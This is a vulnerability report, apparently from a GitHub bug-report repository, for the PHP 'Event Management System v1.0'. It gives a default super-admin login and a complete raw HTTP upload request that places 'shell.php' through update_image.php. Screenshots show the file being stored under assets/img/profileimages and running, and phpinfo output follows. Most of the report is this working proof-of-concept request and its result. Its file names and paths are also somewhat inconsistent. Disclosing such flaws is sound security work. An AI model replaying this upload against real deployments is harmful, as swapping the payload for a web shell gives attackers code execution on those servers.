

main

...

bug_report / vendors / Nikhil_B / event-management-system / RCE-1.md



Gsir97 Create RCE-1.md

History

1 contributor

53 lines (37 sloc) | 1.86 KB

...

Event Management System v1.0 by Nikhil_B has arbitrary code execution (RCE)

BUG_Author: Gsir

vendors: <https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html>

The program is built using the xmapp-php8.1 version

Login account: ndbhalerao91@gmail.com/admin (Super Admin account)

Vulnerability url: ip/tour/admin/operations/travellers.php

Loophole location: Event Management System's update_img.php file exists arbitrary file upload (RCE)

Request package for file upload:

```
POST /Royal_Event/update_image.php?id=2 HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/Royal_Event/update_image.php?id=2%27
Cookie: PHPSESSID=0pba7l89o53c7tini68b77ci0m
Connection: close
Content-Type: multipart/form-data; boundary=-----1609510989189
Content-Length: 435

-----16095109891890
Content-Disposition: form-data; name="productName"

NikhilÃ Bhalerao



-----16095109891890
Content-Disposition: form-data; name="productimage1"; filename="shell.php"
Content-Type: application/octet-stream

JFJF
<?php phpinfo();?>
-----16095109891890
Content-Disposition: form-data; name="submit"


-----16095109891890--





The files will be uploaded to this directory \tour\admin\img

| 本地磁盘 (C:) ▾ xampp ▾ htdocs ▾ Royal_Event ▾ assets ▾ img ▾ profileimages | | | | |
|---|-----------------|---------|-------|--|
| ▼ 共享 ▼ 新建文件夹 | | | | |
| 名称 ▲ | 修改日期 | 类型 | 大小 | |
|  pro4.jpg | 2022/3/22 14:01 | JPEG 图像 | 10 KB | |
|  shell.php | 2022/8/6 10:27 | PHP 文件 | 1 KB | |

We visited the directory of the file in the browser and found that the code had been executed

 Load URL

 Split URL

 Execute

192.168.1.19/Royal_Event/assets/img/profileimages/shell.php

☐ Post data

☐ Referrer

◀

0xHEX

▶

◀

%URL

▶

◀

BASE64

▶

Insert string to replace

Insert replacing string

☒ Replace #

JFJF

PHP Version 8.0.7

| | |
|-------------------|---|
| System | Windows NT HOST1 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) AMD64 |
| Build Date | Jun 2 2021 00:33:38 |
| Build System | Microsoft Windows Server 2016 Standard [10.0.14393] |
| Compiler | Visual C++ 2019 |
| Architecture | x64 |
| Configure Command | cscript /nologo /e:jscript configure.js "--enable-snapshot-build" "--enable-debug-pack" "--pdo-oci=c:\php-snap-build\dep-aux\oracle\x64\instantclient_19_9\sdk,shared" "--with-oc |